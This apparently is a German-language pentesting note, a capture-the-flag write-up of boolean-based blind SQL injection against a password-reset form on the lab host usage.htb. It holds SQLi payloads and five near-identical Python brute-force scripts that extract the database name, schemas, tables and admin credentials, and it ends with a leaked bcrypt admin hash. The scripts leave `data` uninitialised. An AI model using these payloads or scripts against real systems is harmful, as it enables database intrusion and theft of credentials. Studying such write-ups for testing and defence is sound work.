> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-sql-injection-sqli/sqli-conditional-responses-pentesting-web.md).

# SQLi bedingte Antworten

## SQLi:

Wir entdecken ein Passwort-Reset-Panel, das für eine SQL-Injection anfällig ist

<figure><img src="/files/3ccc70c4db5df707b9288fb1aef724756c3ed41c" alt=""><figcaption></figcaption></figure>

. Beim Abfangen der Anfragen mit Burp Suite erhalten wir die Meldung "*Wir haben dir dein Passwort per E-Mail geschickt*".

<figure><img src="/files/d00221ced591f15324f5bf0ac9a4e9f3fa3d7842" alt=""><figcaption></figcaption></figure>

Wenn wir eine grundlegende SQL-Injection versuchen, ist diese erfolgreich, und wir erhalten erneut dieselbe Fehlermeldung, was bestätigt, dass die Injektion funktioniert. Die grundlegende Test-Injektion lautet: `iojfeifif' or 1=1-- -`

<figure><img src="/files/da634797126bf4d4e8e46cedcaeff595e0c723f3" alt="" width="563"><figcaption></figcaption></figure>

### Bedingte SQLi-Antworten:

> Obwohl die Ergebnisse der SQL-Abfrage nicht zurückgegeben werden und keine Fehlermeldung erscheint, zeigt die Anwendung auf der Seite die Meldung "Wir haben dir dein Passwort per E-Mail geschickt" an, wenn die Anfrage Zeilen zurückliefert. Wir überprüfen diese Hypothese, indem wir eine bedingte Injektion mit der Funktion ausführen `substring` um die ersten Buchstaben des Datenbanknamens zu extrahieren. Beispiel-Injektion:

* Teste den ersten Buchstaben des Datenbanknamens\:/ `dwwdw' or substring(database(),1,1)='u'-- -`
* Teste den zweiten Buchstaben des Datenbanknamens: `dwwdw' or substring(database(),2,1)='s'-- -`

<figure><img src="/files/af5fdc5f6a899aaa395b660e144f4d7eb13e37ce" alt=""><figcaption></figcaption></figure>

### Ermittlung des Datenbanknamens:

Wir automatisieren die Ermittlung des Datenbanknamens mit einem Python-Skript, das bestimmte Payloads sendet und die Ergebnisse aufzeichnet, wenn der Server die Antwort "Wir haben dir dein Passwort per E-Mail geschickt" anzeigt.

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string
# SQLi-Bedingte Antworten
def def_handler(sig, frame):
    print("/n/n[!] Exiting.../n")
    sys.exit(1)
# SQLi-Bedingte Antworten
signal.signal(signal.SIGINT, def_handler)
# SQLi-Bedingte Antworten
characters = string.ascii_letters + string.digits + "-/;.$_@#~%&*"
main_url = "http://usage.htb/forget-password"
def sqli():
    headers = {
        'Cookie': 'XSRF-TOKEN=eyJpdiI6IllwUVNJUldmNzc1MWU3Tkl6ZzZxZnc9PSIsInZhbHVlIjoieXh5SmFmZTZTYVJFM2dUUnU5UjVLejZ6MmlNWWIwMnVrYzNRVGtNd09yRDNwUjVxSU9zU0xhL0Ruc3RvL29zU3JWN2pNZVBVYkVTUVJDOTBPNXpxYjhQd2loRzJvbURYWVZPS0Q3QUFUc2EwRjk2amNvcG9SQUo0YjlhYXB2SHUiLCJtYWMiOiI0NTgxMzA2YjljOWEwZDI3NTc2NzQwNzk3MGM2MDgyOWRkNWUxZWFkNGU3NWMyMzM4OWVjNTY0MmY4YWE4MmRiIiwidGFnIjoiIn0%3D; '
                  'laravel_session=eyJpdiI6ImYxM2FTbFU2U2pBMUJyUVpqeldreWc9PSIsInZhbHVlIjoiS1hrc3JWRzI0ajhFYjYyQzIrV3hUMzU1M2ptbkIwVzUzQSs3RkdrcGU2bUl0WUlpTHkvWnpmM1IvZWdxMmFrYWw5SWVPNlNNaExMTU5Gd0xKb202bzh0dm9UWVpuKzB4OXBlZmVabmN3NzJTN21xNjJ0ejA0TkV4VHhrdjFkZXYiLCJtYWMiOiIyMzVmYjZlNzAxMjY0ZDUwMzQ5N2ZiZjMxMzcyZDNhNWM3ODFjNTgyNjU5ZDBiNDdlYzQ0MWMxNDkwMDM0ZTc1IiwidGFnIjoiIn0%3D'
    }
    ""
    p1 = log.progress("SQL-Injektion")
    p1.status("Starte SQL-Injection...")
    time.sleep(2)
    p2 = log.progress("Extrahierte Daten")
    for position in range(1, 20):
        found_character = False
        for character in characters:
            payload = {
                "_token": "WwUBzPP0uBH7oSGEGsKholwbP8UZKpSd3u1taSuY",
                "email": f"dwwdwdwwdw' or substring(database(),{position},1)='{character}'-- -"
            }
            # Sende die POST-Anfrage mit dem Payload
            r = requests.post(main_url, headers=headers, data=payload)
            # Zeige das aktuell getestete Zeichen in Echtzeit an
            p1.status(f"Teste Position {position}: {character}")
            # Prüfe auf eine bestimmte Rückmeldung vom Server, um das richtige Zeichen zu bestätigen
            if "we have e-mailed your password" in r.text:
                data += character
                p2.status(data)
                found_character = True
                break
        # Wenn für diese Position ein Zeichen gefunden wurde, gehe zur nächsten Position über
        if found_character:
            p1.status(f"Position {position} gefunden: {data[-1]}")
        else:
            p1.status(f"Position {position}: Zeichen nicht gefunden")
    p1.success("Brute-Force-SQL-Injektion abgeschlossen")
    p2.success(f"Extrahierte Daten: {data}")
if __name__ == '__main__':
    sqli()

```

<figure><img src="/files/7957ab71a24bb710f19e0ddc11b37461e7fed3d5" alt="" width="440"><figcaption></figcaption></figure>

### Aufzählung der Datenbanken:

Wir ändern die Payload, um alle Datenbanken auf dem Server aufzuzählen. Wir verwenden `group_concat` von `information_schema.schemata` um die verfügbaren Datenbanknamen abzurufen.

{% code overflow="wrap" fullWidth="false" %}

```sql
' or substring((select group_concat(schema_name) from information_schema.schemata),%d,1)='%s" % (position, character)

```

{% endcode %}

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string
# SQLi-Bedingte Antworten
def def_handler(sig, frame):
    print("/n/n[!] Exiting.../n")
    sys.exit(1)
# SQLi-Bedingte Antworten
signal.signal(signal.SIGINT, def_handler)
# SQLi-Bedingte Antworten
characters = string.ascii_letters + string.digits + "-,/;.$_@#~%&*"
main_url = "http://usage.htb/forget-password"
def sqli():
    headers = {
        'Cookie': 'XSRF-TOKEN=eyJpdiI6IllwUVNJUldmNzc1MWU3Tkl6ZzZxZnc9PSIsInZhbHVlIjoieXh5SmFmZTZTYVJFM2dUUnU5UjVLejZ6MmlNWWIwMnVrYzNRVGtNd09yRDNwUjVxSU9zU0xhL0Ruc3RvL29zU3JWN2pNZVBVYkVTUVJDOTBPNXpxYjhQd2loRzJvbURYWVZPS0Q3QUFUc2EwRjk2amNvcG9SQUo0YjlhYXB2SHUiLCJtYWMiOiI0NTgxMzA2YjljOWEwZDI3NTc2NzQwNzk3MGM2MDgyOWRkNWUxZWFkNGU3NWMyMzM4OWVjNTY0MmY4YWE4MmRiIiwidGFnIjoiIn0%3D; '
                  'laravel_session=eyJpdiI6ImYxM2FTbFU2U2pBMUJyUVpqeldreWc9PSIsInZhbHVlIjoiS1hrc3JWRzI0ajhFYjYyQzIrV3hUMzU1M2ptbkIwVzUzQSs3RkdrcGU2bUl0WUlpTHkvWnpmM1IvZWdxMmFrYWw5SWVPNlNNaExMTU5Gd0xKb202bzh0dm9UWVpuKzB4OXBlZmVabmN3NzJTN21xNjJ0ejA0TkV4VHhrdjFkZXYiLCJtYWMiOiIyMzVmYjZlNzAxMjY0ZDUwMzQ5N2ZiZjMxMzcyZDNhNWM3ODFjNTgyNjU5ZDBiNDdlYzQ0MWMxNDkwMDM0ZTc1IiwidGFnIjoiIn0%3D'
    }
    ""
    p1 = log.progress("SQL-Injektion")
    p1.status("Starte SQL-Injection...")
    time.sleep(2)
    p2 = log.progress("Extrahierte Daten")
    for position in range(1, 100):
        found_character = False
        for character in characters:
            payload = {
                "_token": "WwUBzPP0uBH7oSGEGsKholwbP8UZKpSd3u1taSuY",
                "email": f"dwwdwdwwdw' or substring((select group_concat(schema_name) from information_schema.schemata),%d,1)='%s" % (position, character)
            }
            # Sende die POST-Anfrage mit dem Payload
            r = requests.post(main_url, headers=headers, data=payload)
            # Zeige das aktuell getestete Zeichen in Echtzeit an
            p1.status(f"Teste Position {position}: {character}")
            # Prüfe auf eine bestimmte Rückmeldung vom Server, um das richtige Zeichen zu bestätigen
            if "we have e-mailed your password" in r.text:
                data += character
                p2.status(data)
                found_character = True
                break
        # Wenn für diese Position ein Zeichen gefunden wurde, gehe zur nächsten Position über
        if found_character:
            p1.status(f"Position {position} gefunden: {data[-1]}")
        else:
            p1.status(f"Position {position}: Zeichen nicht gefunden")
    p1.success("Brute-Force-SQL-Injektion abgeschlossen")
    p2.success(f"Extrahierte Daten: {data}")
if __name__ == '__main__':
    sqli()

```

<figure><img src="/files/928fc6615ee14768303c70fa5943d3c93c81f978" alt="" width="563"><figcaption></figcaption></figure>

### Tabellen-Enumeration für die Datenbank `usage_blog`:

Nachdem wir die `usage_blog` Datenbank gefunden haben, ändern wir die Payload erneut, um die Tabellen in dieser Datenbank aufzuzählen. Wir verwenden die `group_concat` Funktion, um alle Tabellennamen aus der `usage_blog` Datenbank.

{% code overflow="wrap" %}

```sql
' or substring((select group_concat(table_name) from information_schema.tables where table_schema='usage_blog'),%d,1)='%s" % (position, character)

```

{% endcode %}

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string
# SQLi-Bedingte Antworten
def def_handler(sig, frame):
    print("/n/n[!] Exiting.../n")
    sys.exit(1)
# SQLi-Bedingte Antworten
signal.signal(signal.SIGINT, def_handler)
# SQLi-Bedingte Antworten
characters = string.ascii_letters + string.digits + "-,/.;$_@#~%&*"
main_url = "http://usage.htb/forget-password"
def sqli():
    headers = {
        'Cookie': 'XSRF-TOKEN=eyJpdiI6IllwUVNJUldmNzc1MWU3Tkl6ZzZxZnc9PSIsInZhbHVlIjoieXh5SmFmZTZTYVJFM2dUUnU5UjVLejZ6MmlNWWIwMnVrYzNRVGtNd09yRDNwUjVxSU9zU0xhL0Ruc3RvL29zU3JWN2pNZVBVYkVTUVJDOTBPNXpxYjhQd2loRzJvbURYWVZPS0Q3QUFUc2EwRjk2amNvcG9SQUo0YjlhYXB2SHUiLCJtYWMiOiI0NTgxMzA2YjljOWEwZDI3NTc2NzQwNzk3MGM2MDgyOWRkNWUxZWFkNGU3NWMyMzM4OWVjNTY0MmY4YWE4MmRiIiwidGFnIjoiIn0%3D; '
                  'laravel_session=eyJpdiI6ImYxM2FTbFU2U2pBMUJyUVpqeldreWc9PSIsInZhbHVlIjoiS1hrc3JWRzI0ajhFYjYyQzIrV3hUMzU1M2ptbkIwVzUzQSs3RkdrcGU2bUl0WUlpTHkvWnpmM1IvZWdxMmFrYWw5SWVPNlNNaExMTU5Gd0xKb202bzh0dm9UWVpuKzB4OXBlZmVabmN3NzJTN21xNjJ0ejA0TkV4VHhrdjFkZXYiLCJtYWMiOiIyMzVmYjZlNzAxMjY0ZDUwMzQ5N2ZiZjMxMzcyZDNhNWM3ODFjNTgyNjU5ZDBiNDdlYzQ0MWMxNDkwMDM0ZTc1IiwidGFnIjoiIn0%3D'
    }
    ""
    p1 = log.progress("SQL-Injektion")
    p1.status("Starte SQL-Injection...")
    time.sleep(2)
    p2 = log.progress("Extrahierte Daten")
    for position in range(1, 1000):
        found_character = False
        for character in characters:
            payload = {
                "_token": "WwUBzPP0uBH7oSGEGsKholwbP8UZKpSd3u1taSuY",
                "email": f"dwwdwdwwdw' or substring((select group_concat(table_name) from information_schema.tables where table_schema='usage_blog'),%d,1)='%s" % (position, character)
            }
            # Sende die POST-Anfrage mit dem Payload
            r = requests.post(main_url, headers=headers, data=payload)
            # Zeige das aktuell getestete Zeichen in Echtzeit an
            p1.status(f"Teste Position {position}: {character}")
            # Prüfe auf eine bestimmte Rückmeldung vom Server, um das richtige Zeichen zu bestätigen
            if "we have e-mailed your password" in r.text:
                data += character
                p2.status(data)
                found_character = True
                break
        # Wenn für diese Position ein Zeichen gefunden wurde, gehe zur nächsten Position über
        if found_character:
            p1.status(f"Position {position} gefunden: {data[-1]}")
        else:
            p1.status(f"Position {position}: Zeichen nicht gefunden")
    p1.success("Brute-Force-SQL-Injektion abgeschlossen")
    p2.success(f"Extrahierte Daten: {data}")
if __name__ == '__main__':
    sqli()

```

<figure><img src="/files/4e93e51caa97aa56c6853e479eb7d8e68558eb31" alt=""><figcaption></figcaption></figure>

### Spalten-Enumeration für die Tabelle `admin_users`:

Sobald die Tabelle identifiziert ist, zielen wir auf die Tabelle `admin_users` um ihre Spalten aufzulisten. Wir verwenden erneut die Funktion `group_concat` um die Namen der Spalten dieser speziellen Tabelle abzurufen.

{% code overflow="wrap" %}

```sql
' or substring((select group_concat(column_name) from information_schema.columns where table_schema='usage_blog' and table_name='admin_users'),%d,1
)='%s" % (position, character)

```

{% endcode %}

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string
# SQLi-Bedingte Antworten
def def_handler(sig, frame):
    print("/n/n[!] Exiting.../n")
    sys.exit(1)
# SQLi-Bedingte Antworten
signal.signal(signal.SIGINT, def_handler)
# SQLi-Bedingte Antworten
characters = string.ascii_letters + string.digits + "-,/;$._@#~%&*"
main_url = "http://usage.htb/forget-password"
def sqli():
    headers = {
        'Cookie': 'XSRF-TOKEN=eyJpdiI6IllwUVNJUldmNzc1MWU3Tkl6ZzZxZnc9PSIsInZhbHVlIjoieXh5SmFmZTZTYVJFM2dUUnU5UjVLejZ6MmlNWWIwMnVrYzNRVGtNd09yRDNwUjVxSU9zU0xhL0Ruc3RvL29zU3JWN2pNZVBVYkVTUVJDOTBPNXpxYjhQd2loRzJvbURYWVZPS0Q3QUFUc2EwRjk2amNvcG9SQUo0YjlhYXB2SHUiLCJtYWMiOiI0NTgxMzA2YjljOWEwZDI3NTc2NzQwNzk3MGM2MDgyOWRkNWUxZWFkNGU3NWMyMzM4OWVjNTY0MmY4YWE4MmRiIiwidGFnIjoiIn0%3D; '
                  'laravel_session=eyJpdiI6ImYxM2FTbFU2U2pBMUJyUVpqeldreWc9PSIsInZhbHVlIjoiS1hrc3JWRzI0ajhFYjYyQzIrV3hUMzU1M2ptbkIwVzUzQSs3RkdrcGU2bUl0WUlpTHkvWnpmM1IvZWdxMmFrYWw5SWVPNlNNaExMTU5Gd0xKb202bzh0dm9UWVpuKzB4OXBlZmVabmN3NzJTN21xNjJ0ejA0TkV4VHhrdjFkZXYiLCJtYWMiOiIyMzVmYjZlNzAxMjY0ZDUwMzQ5N2ZiZjMxMzcyZDNhNWM3ODFjNTgyNjU5ZDBiNDdlYzQ0MWMxNDkwMDM0ZTc1IiwidGFnIjoiIn0%3D'
    }
    ""
    p1 = log.progress("SQL-Injektion")
    p1.status("Starte SQL-Injection...")
    time.sleep(2)
    p2 = log.progress("Extrahierte Daten")
    for position in range(1, 1000):
        found_character = False
        for character in characters:
            payload = {
                "_token": "WwUBzPP0uBH7oSGEGsKholwbP8UZKpSd3u1taSuY",
                "email": f"dwwdwdwwdw' or substring((select group_concat(column_name) from information_schema.columns where table_schema='usage_blog' and table_name='admin_users'),%d,1)='%s" % (position, character)
            }
            # Sende die POST-Anfrage mit dem Payload
            r = requests.post(main_url, headers=headers, data=payload)
            # Zeige das aktuell getestete Zeichen in Echtzeit an
            p1.status(f"Teste Position {position}: {character}")
            # Prüfe auf eine bestimmte Rückmeldung vom Server, um das richtige Zeichen zu bestätigen
            if "we have e-mailed your password" in r.text:
                data += character
                p2.status(data)
                found_character = True
                break
        # Wenn für diese Position ein Zeichen gefunden wurde, gehe zur nächsten Position über
        if found_character:
            p1.status(f"Position {position} gefunden: {data[-1]}")
        else:
            p1.status(f"Position {position}: Zeichen nicht gefunden")
    p1.success("Brute-Force-SQL-Injektion abgeschlossen")
    p2.success(f"Extrahierte Daten: {data}")
if __name__ == '__main__':
    sqli()

```

<figure><img src="/files/315c85d6239fc0e8e4439f59fed8c0b226528b15" alt=""><figcaption></figcaption></figure>

### Anzeige von `Benutzernamen` und `Passwort`:

Um die Zugangsdaten und Passwörter der Benutzer in der Tabelle anzuzeigen `admin_users`, wird die SQL-Abfrage so geändert, dass die Felder verkettet werden `Benutzernamen` und `Passwort`

{% code overflow="wrap" %}

```sql
' or substring((select group_concat((BINARY username), ':', (BINARY password)) from admin_users),%d,1)='%s" % (position, character)

```

{% endcode %}

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string
# SQLi-Bedingte Antworten
def def_handler(sig, frame):
    print("/n/n[!] Exiting.../n")
    sys.exit(1)
# SQLi-Bedingte Antworten
signal.signal(signal.SIGINT, def_handler)
# SQLi-Bedingte Antworten
characters = string.ascii_letters + string.digits + "-:.,/;$_@#~%&*"
main_url = "http://usage.htb/forget-password"
def sqli():
    headers = {
        'Cookie': 'XSRF-TOKEN=eyJpdiI6IllwUVNJUldmNzc1MWU3Tkl6ZzZxZnc9PSIsInZhbHVlIjoieXh5SmFmZTZTYVJFM2dUUnU5UjVLejZ6MmlNWWIwMnVrYzNRVGtNd09yRDNwUjVxSU9zU0xhL0Ruc3RvL29zU3JWN2pNZVBVYkVTUVJDOTBPNXpxYjhQd2loRzJvbURYWVZPS0Q3QUFUc2EwRjk2amNvcG9SQUo0YjlhYXB2SHUiLCJtYWMiOiI0NTgxMzA2YjljOWEwZDI3NTc2NzQwNzk3MGM2MDgyOWRkNWUxZWFkNGU3NWMyMzM4OWVjNTY0MmY4YWE4MmRiIiwidGFnIjoiIn0%3D; '
                  'laravel_session=eyJpdiI6ImYxM2FTbFU2U2pBMUJyUVpqeldreWc9PSIsInZhbHVlIjoiS1hrc3JWRzI0ajhFYjYyQzIrV3hUMzU1M2ptbkIwVzUzQSs3RkdrcGU2bUl0WUlpTHkvWnpmM1IvZWdxMmFrYWw5SWVPNlNNaExMTU5Gd0xKb202bzh0dm9UWVpuKzB4OXBlZmVabmN3NzJTN21xNjJ0ejA0TkV4VHhrdjFkZXYiLCJtYWMiOiIyMzVmYjZlNzAxMjY0ZDUwMzQ5N2ZiZjMxMzcyZDNhNWM3ODFjNTgyNjU5ZDBiNDdlYzQ0MWMxNDkwMDM0ZTc1IiwidGFnIjoiIn0%3D'
    }
    ""
    p1 = log.progress("SQL-Injektion")
    p1.status("Starte SQL-Injection...")
    time.sleep(2)
    p2 = log.progress("Extrahierte Daten")
    for position in range(1, 1000):
        found_character = False
        for character in characters:
            payload = {
                "_token": "WwUBzPP0uBH7oSGEGsKholwbP8UZKpSd3u1taSuY",
                "email": f"dwwdwdwwdw' or substring((select group_concat((BINARY username), ':', (BINARY password)) from admin_users),%d,1)='%s" % (position, character)
            }
            # Sende die POST-Anfrage mit dem Payload
            r = requests.post(main_url, headers=headers, data=payload)
            # Zeige das aktuell getestete Zeichen in Echtzeit an
            p1.status(f"Teste Position {position}: {character}")
            # Prüfe auf eine bestimmte Rückmeldung vom Server, um das richtige Zeichen zu bestätigen
            if "we have e-mailed your password" in r.text:
                data += character
                p2.status(data)
                found_character = True
                break
        # Wenn für diese Position ein Zeichen gefunden wurde, gehe zur nächsten Position über
        if found_character:
            p1.status(f"Position {position} gefunden: {data[-1]}")
        else:
            p1.status(f"Position {position}: Zeichen nicht gefunden")
    p1.success("Brute-Force-SQL-Injektion abgeschlossen")
    p2.success(f"Extrahierte Daten: {data}")
if __name__ == '__main__':
    sqli()

```

`admin:$2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2`

<figure><img src="/files/751a8f820dfa3999929cafd37085b2f11dfebfe4" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-sql-injection-sqli/sqli-conditional-responses-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
